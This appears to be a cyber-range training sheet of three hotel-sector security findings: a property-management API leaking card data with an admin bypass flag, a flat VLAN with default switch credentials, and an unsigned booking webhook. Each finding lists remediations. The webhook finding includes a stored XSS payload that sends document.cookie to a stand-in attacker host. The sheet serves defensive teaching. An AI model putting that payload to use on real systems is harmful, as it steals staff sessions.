[#] BWD_CYBER-RANGE :: hospitality_sector v3.2-RELOADED
#01 :: FRONT_DESK_PMS_API
Property Management System – check-in kiosk data pipeline. Intercepted request shows PII/PCI data in cleartext. CVSS 9.1
Host: pms.grand-horizon.internal
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
[+] PATCH_APPLIED :: AES-256-GCM + RBAC
VULNERABILITY: Plaintext PCI/PII data in GET parameters + unauthenticated admin_bypass=true IDOR flag. Any network segment observer could harvest guest credit card numbers.
REMEDIATION: Deployed AES-256-GCM field-level encryption on payment data. Enforced RBAC with signed JWT tokens scoped to role. All sensitive params moved to encrypted POST body with PKI mutual auth.
#02 :: NETWORK_VLAN_MISCONFIG
Core switch topology – guest Wi-Fi, smart locks, and POS terminals on same broadcast domain. CVSS 8.8
description HOTEL_GENERAL_NETWORK
switchport mode access
switchport access vlan 1
// GUEST_WIFI — VLAN 1
// SMART_LOCKS — VLAN 1
// POS_TERMINALS — VLAN 1
username admin password default_123
[+] PATCH_APPLIED :: ZTNA + 802.1X SEGMENTATION
VULNERABILITY: Flat Layer-2 network allowed any guest to ARP-scan and reach POS terminals, smart locks, and management interfaces. Default credentials admin:default_123 on switch.
REMEDIATION: Implemented 802.1X port-based authentication with RADIUS. Isolated Guest Wi-Fi → VLAN 40, POS → VLAN 10, Smart Locks → VLAN 20. MFA enforced on all network admin access.
#03 :: OTA_WEBHOOK_INTEGRITY
Online Travel Agency (OTA) booking webhook – no signature verification, no input sanitization. CVSS 9.0
Host: bookings.grand-horizon.internal
X-OTA-Signature: NONE
Content-Type: application/json
{
"guest_name": "<script>fetch('http://evilsrv/harvest?c='+document.cookie)</script>",
"room": "Presidential Suite",
"rate": 850.00
}
[+] PATCH_APPLIED :: HMAC-SHA256 + WAF
VULNERABILITY: Unsigned webhook payload meant anyone could forge requests. No input sanitization allowed stored XSS that would fire when front desk staff viewed the booking dashboard.
REMEDIATION: Enforced HMAC-SHA256 signature verification using pre-shared key per OTA partner. Deployed Cloudflare WAF with OWASP CRS ruleset for input sanitization.